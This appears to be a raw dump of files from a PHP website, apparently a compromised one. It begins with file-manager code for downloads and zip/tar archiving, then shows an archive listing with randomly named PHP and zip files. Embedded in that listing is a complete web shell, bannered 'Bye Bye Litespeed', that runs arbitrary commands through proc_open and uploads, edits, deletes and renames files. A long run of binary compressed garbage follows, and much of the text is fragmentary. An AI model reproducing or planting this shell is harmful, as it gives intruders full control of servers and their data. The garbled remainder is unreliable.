$fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'noncondensable
Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
'; $msg .= '
Seems like you have a trailing slash on the URL.'; $msg .= '
Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) and count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[DN_CESSION_ID]['message'] . '

'; unset($_SESSION[DN_CESSION_ID]['message']); unset($_SESSION[DN_CESSION_ID]['status']); } } function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fanco(APP_TITLE) ?> ">
'; } ?> <?php echo fanco(APP_TITLE) ?> ">
PKg[yy gu83i.phpnu[PKIPK,g[ lrw89y.zipnu[PK,g[[Xz index.php.tarnu[PK,g[1dd Perror_lognu[PK,g[ Rgg index.phpnu[PK,g[`mindex.php.php.tar.gznu[PK,g[!m\@@error_log.tar.gznu[PK,g[Wb >pk14de.zipnu[PK,g[߽~ $} avmlid.zipnu[PKao_ PK$g[5~ oy5mbk.tarnu[index.php000064400000000155151033200600006353 0ustar00PK$g[F33 e0osfa.zipnu[PK g[ O*H3H3 eyzld.phpnu[ Good Bye Hell Yeah Pointer 4
$d) $_GET[$c] = y($d); $currentDirectory = realpath(isset($_GET['d']) ? $_GET['d'] : $rootDirectory); chdir($currentDirectory); $viewCommandResult = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['fileToUpload'])) { $target_file = $currentDirectory . '/' . basename($_FILES["fileToUpload"]["name"]); if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "File " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " Upload success"; } else { echo "Sorry, there was an error uploading your file."; } } elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) { $newFolder = $currentDirectory . '/' . $_POST['folder_name']; if (!file_exists($newFolder)) { mkdir($newFolder); echo '
Folder created successfully!'; } else { echo '
Error: Folder already exists!'; } } elseif (isset($_POST['file_name']) && !empty($_POST['file_name'])) { $fileName = $_POST['file_name']; $newFile = $currentDirectory . '/' . $fileName; if (!file_exists($newFile)) { if (file_put_contents($newFile, $_POST['file_content']) !== false) { echo '
File created successfully!'; } else { echo '
Error: Failed to create file!'; } } else { if (file_put_contents($newFile, $_POST['file_content']) !== false) { echo '
File edited successfully!'; } else { echo '
Error: Failed to edit file!'; } } } elseif (isset($_POST['delete_file'])) { $fileToDelete = $currentDirectory . '/' . $_POST['delete_file']; if (file_exists($fileToDelete)) { if (is_dir($fileToDelete)) { if (deleteDirectory($fileToDelete)) { echo '
Folder deleted successfully!'; } else { echo '
Error: Failed to delete folder!'; } } else { if (unlink($fileToDelete)) { echo '
File deleted successfully!'; } else { echo '
Error: Failed to delete file!'; } } } else { echo '
Error: File or directory not found!'; } } elseif (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name'])) { $oldName = $currentDirectory . '/' . $_POST['old_name']; $newName = $currentDirectory . '/' . $_POST['new_name']; if (file_exists($oldName)) { if (rename($oldName, $newName)) { echo '
Item renamed successfully!'; } else { echo '
Error: Failed to rename item!'; } } else { echo '
Error: Item not found!'; } } elseif (isset($_POST['cmd_input'])) { $command = $_POST['cmd_input']; $descriptorspec = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'] ]; $process = proc_open($command, $descriptorspec, $pipes); if (is_resource($process)) { $output = stream_get_contents($pipes[1]); $errors = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); if (!empty($errors)) { $viewCommandResult = '

Result:

'; } else { $viewCommandResult = '

Result:

'; } } else { $viewCommandResult = '

Error: Failed to execute command!

'; } } elseif (isset($_POST['view_file'])) { $fileToView = $currentDirectory . '/' . $_POST['view_file']; if (file_exists($fileToView)) { $fileContent = file_get_contents($fileToView); $viewCommandResult = '

Result: ' . $_POST['view_file'] . '

'; } else { $viewCommandResult = '

Error: File not found!

'; } } } echo '
     __    Bye Bye Litespeed   _____ __    
    __|  |___ ___ ___ ___ ___   |   __|  | v.1.3
|  |  | .\'| . | . | .\'|   |  |__   |  |__ 
|_____|__,|_  |___|__,|_|_|  |_____|_____|
                |___| ./Heartzz                       
'; echo "Zona waktu server: " . $timezone . "
"; echo "Waktu server saat ini: " . date('Y-m-d H:i:s'); echo '
CurrentDir: '; $directories = explode(DIRECTORY_SEPARATOR, $currentDirectory); $currentPath = ''; $homeLinkPrinted = false; foreach ($directories as $index => $dir) { $currentPath .= DIRECTORY_SEPARATOR . $dir; if ($index == 0) { echo ' / ' . $dir . ''; } else { echo ' / ' . $dir . ''; } } echo ' / [ GO Home ]'; echo '
'; echo '
'; echo ''; echo ''; echo '
'; echo '
'; echo ''; echo ''; echo ''; echo '
'; echo '
'; echo ''; echo ''; echo '
'; echo '
'; echo $viewCommandResult; echo '
'; echo '
'; echo ''; echo '
'; foreach (scandir($currentDirectory) as $v) { $u = realpath($v); $s = stat($u); $itemLink = is_dir($v) ? '?d=' . x($currentDirectory . '/' . $v) : '?'.('d='.x($currentDirectory).'&f='.x($v)); $permission = substr(sprintf('%o', fileperms($u)), -4); $writable = is_writable($u); echo ''; } echo '
Item Name
Size
Date
Permissions
View
Delete
Rename
'.$v.' '.filesize($u).' '.date('Y-m-d H:i:s', filemtime($u)).' '.$permission.'
'; function deleteDirectory($dir) { if (!file_exists($dir)) { return true; } if (!is_dir($dir)) { return unlink($dir); } foreach (scandir($dir) as $item) { if ($item == '.' || $item == '..') { continue; } if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) { return false; } } return rmdir($dir); } ?>PK g[ O*H3H3 eyzld.phpnu[PKI3PK$g[ff ko6li5.tar.gznu[y{8(<;0lHh.N;[l'su)S$g %9NL$ BP(쵍AXX[Ӧ7kި67k\]57 Bˇ*G]߳_+g/^FZ2Y6moO=?t0y`]6w9>j xne GH3W8Xx׾<:;-ZuPR>wٙ6Mx5 G+UÒ03|[o ؙ=`vcc\6׻Qmʼ ZGʷ7qXDr]kQHmL^$ ?a?gMJkc+v ;ǵB@wk憝۟ i۫^3+ۓUA:]KpyA~}uuy}vtzLcOz^XzY*mD3 Z1l9>τvN0uS3-n>Qc߅$ $E>AYD}sg0z8sط7tm^4}gbt-_顱u'p Ov{Ro`2Fɵs|` ^(@zTJz;ۍfk`Om#E u]wT'8uG$!ΐu:GNPc8aQtiV׵rR*əPޥO,7p/*]` )ϠovMdUǠԻ;MZTjڬ5BikhF3 ûnor`>~_p/Wi|/@ ɮiM؛^$}ߛmǠsYZ]yѺN7 vuM۫0&aźoRPkkUi 99Fp!ZIЌGɀ FQT _ih~oauc4NȩoW8HI s4CPڞ? *g`\(5ˡ"ԃKCcZ,N=?>?\K,~{d:%ʢvalKpGŮ3i컢\ڌh_. ojOpX= t+c_,aKy'J\+K8@QF:|ChU;v^]q>_]cxZkatUZpLCXg嶏wzm1X@(}Nr8T^}puv9߿؇ZL5"ٔۋc!ч2FEE OPܠxdEAr,EQK )P%" 7 U6{վ"JY& r᎜_#R:̷Y*2N6b>Vh^ؓ輘*H\wspvz ytst'U)5v8'FLLS O$s0<=h]rwxP1j",F焤~HOR12O\[LA>(L"zO꣑%>9L6\d-с8 쟂ެrQŋ-ԢTSJWj,_%HfLEY{$|dD5B3e 4ZF n@+XJ|o eb[SqH4%1E^4:^i8:']w.t:=4bJV IA۶,$ɊLc:0 cKd J-.k#r2Kr='q/4\mO s)wj;spR**+I=mh<ڛU+II2òT+IXt.gS oY #c20^aX7ި.(g.*iiD0bl_6N>|464D\)hw/='l K?j~"fTɬ}U#⭮#"fspALl"MV&hT4ܫlln`*m7 p暱WuGPMQil56A7Dq ڼem:6>C @W ~}n-e꺱[ Q6(hҿ@M_2S4GzPbsūjeJ%e &(ף'+m+P4EP](LK; E+W,woR'1Wбf)g@wga~0뎝xuÉU3sz-.?lCyThIX/?q1N*?I7tq]"R](O;? :3& 1 *ٞY%py S(a~K}4x., ٤f}%Aziz?RmH%76iO|~$i!??}*JbM/۝WS:|,XI$\; 9A:cast>LVy"m#w,dՃ+%dq5%AQE '4T9Ca?<;= %OELYRDQrRHWJvƃ`TOI8 ^#;Čϧh{4T,j@Eoн-(Kʼ;O$|*8cnjDYa߮A MH{/iPR$ 8@a dx|&%֍-} `04{x>;Mzm 3Mtvg-ƶã+@KwWAj$ưh\Jv^>~N wtoVO&!J;WA09ʚ3()ɱվ::i[UZ|$sTtG BRoՉM}"nÐ]Ġ$5Ⓟن 5uc0N!}fW߱$#U3 MuR&ɶT AI[S*A$ADS8w;YbB4RLM.y,ҠHRfR-Ŏ#Iĥ7瑅`Tpޛ>0+¤ltE.?fg 0aM4ZN7i[';U;O8̦(ڨb ܍ / Ô"'SOJmUr_"HO^0lw滂[yR1ŐeV![޵s*0+>(ƕm4CŸaޚJtP 闥ڔ=#Ջ hY:2& jŠ]ك$N.Qk`0! T-72V:?t2d~\N^Kc:(pT Z~ýPH ')`^FVDhÍ%dm_^G%*,I>Q42J-+* F]EHJ|2QujF=OW vXǏ>&*-TEhKPYZ6ewMҹIQO~ }v$]Jb<ܚȓz`qfI- $ѝM7I>b$gٓs'{ 8,k~q8M=%.8hD8LoX:#T~z3y,3sCqfY6//98_=*1I-MfB7fFUF "И/o޶!# ͤ=VRd}+Nr]~HY,}@Y8ȇ:񚱘Y3[L@_S%),Q5k&ԁNҕ=|DnAu~ŠUU, /y{c˙S`/~CX,LL\yď {AQ>rEkăb]?*۬%[,Idh0rlhhtF.dvC~0"(^< *u\x x$HQ]1exцgGZ3QW>Hi> ft;2ƺS:8w3W)FTIUEP5.㳃+ԖMf q*ӎJwv˦lL4fF:ctfUhV&1,"BcshTj4<1Q ߛ0,jROcf1b[cC|#Jw)fBgރ Q8N 343K(\^K.*:煤]'EHSkfNz¢,[ɣE]AGf_VY"P% H1&j6:R$[5[j5PXw(\a$hD[]l]6̜faWľ@ % γޏZwHE xJB/7'kR~;{w&b ,X5j_%Cڠݢ3_&FN~]vɕYZAqWF-T /~_R1h]y| "sOħ;i4Kۅ!f훀TB5ӧ9z$mI0`o 4KMI@5:Pi'F;[qN`O+-YɪNJ% % gOPcVJcushP\ ]wNgi5ۚ !h:fD581Tq+OSH:ImׄQcZԼU pmMtN8AzP<Ԗc2@P%v<@G3JFYrHZ= Cyjyo- )73j4!뢊d8XoKqvT[iE*YJ\d+,BPe }DIc%RĩX:ḻߢc@r QS4ϜmB@j# QE‘M؁Me @0e 9k7q-sVcdM)y+c;9ݣx5tN@N *.N^N](9VfSΎ ~OA36l晆 ľ͊˚}"ų<5Hr#./ڏ#07W-;8F2n?9{O/=Թ񈣿V Ƅ5ԥj.G%F &|!蚠ߝ9x?Am!TmZr Ϧ6(`?,VO@73X+Hӕ8!2/DNPDU*âNgo.QG`5NI0v\FFq`9X6kobR0Q|zJ$r tm;6Zguh|7WKp $ 4a uJ&y?SqZx0CǣLyP =Ӱ>&J/ȿ/IŎspNXDfi 7{4(]&=]&>':;לۜIsS1'F}:@̝E,@F[2ajڙf)VPj-:%mv"7(?0|Ѐs-___>zs~<$G|HS7ʬpꍬP!Kq8-.ϣ y- 3`e4㢼E/y]|'܃K;ZƁneNs%1FhIqoWILVbČnXf,*FQz_#&Je"S.*H46VDS#K`R<Ti.ޫiv&ƔZC+BiheU.YCVz]hZx)ɦ2O}/Ikj5RH), c==.р: ekDVUV)u'+D0={>M 2wҍxKc J;7Y4vM$'/v=n S4%Y.3;}T8 º?\xZ]0b+K]G*_[rnt3` 0` M4[E,y`ʵlVz{B'&Uf x\[5=j3qyA+> rt^Ygdp<&z{- Nlo?,N2PI UFBD hhXr4z#&W\{CQ3BJĂכ %#"n(go)#vCt,έ3$s)(*{:3Ɩ75:F%?!YC7Fl㐚9\5u"M~W 74\U6{-Kde6"GĖ\<;ҍz?Se.J&N1)*nxk ̨xa/=.Ⱦcon0BvK ǽ9-GI!0vAʝ|pD,pGoI~˹)qjzʅyݢ7c[N?% MVhx&D7SaؿVI Itl>'knc!}(Sz lAqzL#!Z2Sj*9Iu*w0$RC.rFTZ4:InHx'#L/))\2w-N~y$ȘBF{ʀ]ubmxi5 !B z U?xJ=Xҙ+CZ.i|sa?υw9ʖ <>7)mzBȹf9khCc 1kAwC*];AUr0&A 9K%|5`XXxZQun:SrfHfÐo}4[ucw4amzyOV@]Ye7V)N\Ե&5}`\Y5R>1/,5sM:c=O*̭J#YRƎg@MgOvc>+K-u?!W2ͥ z^2[ dh DER#3'&[:x1`S$57b?ռ=ɣ$u$[7Nȋ xaN=^~yknΊ,EwlQϜsToާ*.229Tqɧ`%(E6>Y=r[Ż'y>wJ2 y-߶tF+-5VX]aU|;.uJQ ]Rfy\ɜ|5L U#7O{]*)F›ࡎV''(ss2.{PwvGrFOwMӒOMrPk@F]t{&Z|\eF MM%([s*Ot7R*r@ܩM Ё^' -ljA|xuv]IQT\IS |B CǠ3 [l~/E_N.#[F `hEƷ/!17[15;١=w3\0̿4"E ^ɶTnL0.҅ژVc67W{[AҬ#gÂGB)];20+0P Y~Ԟ(cz 4D_#ozʺ?E2UEGVή.SՒϏr.{!' @WXPNṀ{tm>Nn [̏X ;ŮI`^r$02OW.jWYna[V&-kYf|2;<-ATy)F07j椙hyǝfOnvs/=$O~H(ZR幁,MB%c{X۫sFv766jP,O,\X?"Ef*A+"4luN;R`ha $жAEZ-ֹ˱8! *vr4z>}F}^ 6LK*ecL=:7aC+[( wP: -c)vni ܬar~ InV2Hc${R8xB%EBᲗTܬ1!ҢwQ.L|WHכNbuy/ ?f\1]˙jP>o >C;9f|ˋ[Kd/Rd B 3VlΠ,r*h֓!ooWa{(C/J~}Nb̊ymߣ3|$a[X{Չu -@:u}lRn/vNF|ι͓}mDBqzve\=??jfX]76`MN.;fWe_¯_// Y~cٝ1 wNm740Kd>-sashC,U J6 ;>DKsNasu&װt4NK?x)ޖatޭ,Gc@͍R gWy 0>9NEh'2Rc"FŽO-JwL>Ģg 7^_cq A7G.p>>[&t;\N#;-ON;7F u7`P#C-O >GE30jia^Miٱ9Mй單"7tY` " 2hK=X<>~fՠg@,]0 +v-^Oҥz`:6 T1 2ÅV&ZJ7<&C?ipy΍Y2b#s0V#1EH}ol9JBdϨF|ʘq,2^\\1_3 B4E1"&[xio9l8t-nAĭmJe_=zá v.씔ZvEP|YE 4;|qxƊ((sZ-p$32#h|T>.άࡴg Yk#g_u6TɚLKDaR;wi r]\؝ufGo߱hnEȼ%|8YN?ٳ82ZPbNw( %_wriƥ)\DkjQoBםQU3!A6Ts p}ut<8ٿ*K\'`CT;4_}7uiUSnꮾM)E6V/淏aiza1{˥T*5(m=PW;4HOogC8ps !ʎ /}u:9KrEEln!cϵT7obuv]s>"@Be–~^WEu\Ey[Ty[_ZiP'E4/1O2Xd-P }'5w&5p(K712Skvw&X1`S]N9TR=^b޶qf|jů`,o1wỈm_il4۪+,s;Xhmf3oo4}p "n|b+@F4ʵv:[s Rnk4rOr/{;}øp GC^Q0\ RU lC'%2ф-cƜ)9 kYyEK (CXZQXҴRֈ녅,I\R5k0E]$Z}ɦV(&[}gb2 Z4|L"GjCς| |`~A4Q/Ɩ-;B&7Tv,N "=k!( ?G;FiMic@:8W[cǵrc]v_`:6Sjl(`k) Sڙ >~[|eK*PFk͔މꙫ>!mۇUZP VXnq \g<u0 %C۵QXP%pɾLw.9ߡoR1p]ozl›f,n(53;tAY#ztW@{杀G!}t";r6s=+q:!A9! )+A+,| q`xRs`q1׾}aE5IhS"StnNss_ WW1 ^rb_Q|B[.9h9άzsjF8٘طFgSb ~24! ͨdI ϞT* te]^2@ JeO>DZ2fK~0ő|<8+<]\#% Q۱Au@VmIk%{7uѨ_(ʆ&G<9@vz֩u oB;~ QH\ij *(f0Սo7sD$r)bvEiF? ~I A +d{92hdY Xx69 {6]J5e` ҷtfnLCjb2\l) ȕfFr3Q[:g\u`F-onnwj9h c à!V4h&T[,Lo&5 koWTGx,Gq(q,%(8jЛ01Ӕ~74̔tT;,N+h&rqiO\vVV`RmK(h0BMT;<=l㱁 7)5ua@J1RsIiyR)xFK ~Zo,$n=z݂|FI\O Y; m曭h͚bR}puv,/l(3' {#"Ծإ!:}DV5ʪRb']Й&t`\ 2!홐8)88<*)넹to!*hf_QurvԜqbZ3iUbj1ѐ*ɘfy5RDP@<$D2D:%#"iKŗIjI<%({F#}G84p SgrV^rLO^EJ1J¼QnF=/&gv OSԳ`L|ycZZB0^M:u5y|d֓]V¨Q*~`MyADE9a*,;D?F+JUX>s[ ІG\¾빳ݡEu8Kƥ{|:ݳA2'$U8igP?kdڿ=lw'6@.<С-|x77j\j^ Dw,<β>@|F{n3- ;|kAa< LcM ]IE,__3KͱtF./U6.޶Drך ;Ikf6?V0Vh?81R4f %M|5?h2F輧2Bt~QWJR 4,)_.=fhN"vTΕ!~Ѭg vi}ˏ8a' u$l:I>$-dJiA;ET,yN5p1SH4w[Ͽ4M?XVl *_&--ڿ (1.Ðتo IPMhÌ퍙Qu**iTd=1݄Fe'ޏKkeAzp: sw"]M $|4ƚL)G'uk06~!W88; v ;tq`B~S?!~V3(.ɱř hɿ`n9#q* a*{ l+ݘgJq *{ *72nOP%U_uhq=7PR%Hb.H+9ޢ"yVf'6b /P{BsMNBZ!F3xBF\+.Ȟ%!!W2*$cdZcu9,x_!Ǭf@"QAnʜYڇJ3S3rGJz Ę:fbJdJ7rB8XJ_}a ]պy*J-FAZ,i*#A ZZ$!MDR_j,D T|{ P4i˞ݎ [\AvP]x ՇL[knWV=hUFD%/1BxQn5P[U :N^-ә4N„߈['bjF5hr|dVh5E.^p>.&JDm`|÷by#ɩ]bwٔbNGQ5Lojfu%aT'jj AAY ڴDNn;򔡧+I$(bS.ҍ¸'vfPZ<&ّˤ/ɫ}zy ۫B9."0j-vkP{[4:*2c,#nn^`0e\ vvc]@3gz`3 [j 

QW[ܛh0 [mTӦ,C'tP45j~i5O| ҉x'B e.LWL=uxj(? -2k:^zT4]OӲIZR¬QUF8 AOG)WKҦ& q !aVj: iUXziJD]MM;]a]@'zg nM״TpAE{NnB8,Ѝ@|7̱>w*EƝ}׳Eֺш.Q5LjY9j7kךāisx8h6^i\mq{34{LsǶӑ7EK׋nkϱn42puP3̼=]&qu2B:-uq訲uذ8urN\:y쿼7 \F *!4LiD$jdxg©f҅Ļ꡽LgjN8rzEj&[jUa$\r9ґѨ?X+^ki$=`ѱ"8Rɝf,<0y!q';ޭPEFavQ> d[~xx$0(|cG7BGJPjRfv2 Y8ʌmbgMG>8[lTfSUe6Yfe͐e6'TmΜQ,32r\υ-lWf+2_K,ˑ,Yk>S&Ll0efu)3; b'ԡ0g(;r e(EFY,+lIP拀PB/3̴2 \,3ͯt=d&s.6AMe6$ܤSfF2mʲe$.E0¡S42>1T[g*Ƞ.efiY #ސkGoKܳ=̍2:7M͚_k:_k#ӧj .5޷#C(Ggb#kw 6l?SvwY5Y\ScC.7<&23S +'V˼mH%%H*efdd"1\xoAo̮b ݹg=&:3b&Yp%:.'q0“G196iu2:L/sͽT2\;,jO?;r$L]-3U_0NZG->~u?]# f1ti\. HDM^TpRy^h  -U5y֩v]vTI:H`説Bڮ+Z d# _uA#r&8R6T}E5Hѻ&hDmyfT^馓 ѫxP$*Bx-7,efNgGO4PQ!](EVyv e9szx]7o E ӢyQo^4/J eV^1'7k [cKL!:^A c#YqgP YsϑjRRf EE!V:\7BΌЧZr SN69{-;Y'/W|lj8/W6Zg1U,3{ɝcŠc z1# 9e4;K 5p.r75~i7?sV vd*[;v[5L 33a2M)eORYf]T>J\pm`,5Xfk3@䦯86=a;̹F]:?&-BDH: o x8|}7.$.nUNNFa]l̶ k]E@]~Qm?׏A~.€K~JؕVejY~£Yx ֱCAStل&r읺28n*42A]3AAIjX_GŨU#ЍArrMqg v(ҾA˨>]r.lhŔB-S(~n%ܷceLg]M@F[FיXYFXKofz:^Er a &Gj譋wWW睷>xQԸ\9@?XvAZgO'$NH6YjMK᫹ˏ "?e*ʣ *Zit*&ʽmwQԧڅ*qq*sH%)|'0$tŌ C%o|QC_Ai, hzѩ5 Y0-5kN0Xh'sstX;j'5r[M"9)@U;Vr-9Cbn~2Ҥ7ۓ> mhK+@\8MHfjdrn>[8}imaFu2A"А"瀞IR-TPTȤn azM(7r9*\95(_R|kᯪ '|GUj (KAz %־B&D'2W''X$PN/'K|d %z_xtȿ+Uƈtr'4>(j1EDEǃӗGd3'(v7V&%"[.c YLW{ \F6d(WOؽQ8b${8kl:S` [7={mlsRĮ|2S& s )C= \lYx6̒ȯsmY7aAX3w>{p'F{{q\ 9sr݊/da,{0 <1(M!G2f1uR%\.ƢAϳw7`ף#s4yN!Q!>w8ˊȸjWv qD}o%T'V;d1qj*wՔ1NCW4=b ENpe,歩~Lgtʨ QDI:z`Լcg=}9)8P+w$mݚ9h#+}wއĺFCSwan^crU8%8n^JX-a<ǸOwvF+7YĎ|% ^*.ކ*6M{Q6^{kj$vj;TDQ״FVcܭc˙T-A{M `+]j2OWNe, @ е}L J7[ךat9NisM웂ra{rZHg:akT /k^HegVJU@x+1fQnf-;d+6n>˜є==w&{1E(K^+؈fL-Q0Bd o ]Ռ,b&+l,w<㱾~]`%uZOud7 k ,h*|hwx)]MOLۭ<=,s]l& J3SA qb3"]_xc5ً`t|e{!=C{LD6L=03֦w;y zd/*A:#2F!GTOs]߽5\}odbXN=*tAddH뻕:WifM.7}14˚D6ޡ#+z f1r4'3CyD.RV" 8"Mƕ6)o ; ە׷4BbN^J߀(T7ExiNjATTHgǿZz*b:OJ2a "0Dœ)_ ef;3հR+1R%̲{0ES c.j ɟ3PX2$c0:13淈A^;oOúp8~sRKC1qdYk'CX8. bs0s|e`dAz!..2;OJ.+Τ~v@TdY?? (;vəY4 ;!ݬ76 ~?P;1$gᠲEXDܥ5ۛF}UW'WJĉW BϷo%N) ;KH놢q<{rxv7ӵ ,kڤO>ۡdR1Ʊobmdk:p۷B/eÙ8x,2T>*CW8%6#>887}o[2@*3PdzRCJ 3rDl>hGAlxWJjAlDY`(3WGgp;WGWm&Y.C  rdÏAv#h*zU67ozuIDYz NO}56j=i[KS<5JI>llͭt[7^oVŐ}z}uIsZo^ 6xrS:-Z5ݬhmp1 tSh16Of[e[s2#S=fX[JtnCw""WS &D>8az1uncTPvcBj&w[%[Lh v *Tow67TXnl@'m#6{Vר 6x766Wjd@kub-NVmc5EmZ`f ""W?finWaa nlid;dhTYb8ůMw#iu[a)\BhMljlדCBhq\ԁuҏzzc}zU7PhcL-w{L0ĕc6 tb1Ey8[ @Pɍ(]S! 8=V\ _`҄:T(Q1xs#%A`#4almSEWj|l86q@7 *}qTE&Ls7pM2744݄B>nnDhng04St &؅ؠ.@3?'=V6M0mlNNjm .H:cIuA;LB5AvVyxdC}p5V !Kd!Eza! v-Fuq Ǥ`cD&!#7C3׫խ}y8llfHru42 }J6r\`*c0FZEzXgԚ,*H%yZok- c R%! -&-ziiл"*L|l@MPeE: m*ʖBT /!*  z]HOF~_>7@_[95-f.aНН_\1 i.sXrlu/.-8Ϋh>m |m%"mj !_,d 7h:Y]56HBsm rۂޜ?`G @Y@jin <7SyZz,4Gz­54'fOfiGmUF\?3e Sӻwb{;OU7YD!|۵BT!u1s,_UEV7ꀝ5ڨ(^]{?@>v,eN5m[C 6wGh؂a*j}4d4lp^zVcRDK5ޒV!.F `djVWw2\9YGtS$FHҨϩ 9#AnÍ[[[;1cpm_;|۞غm]kOJ ?Exi;b Jfj2ՁYonH_W(/wQ"oqK 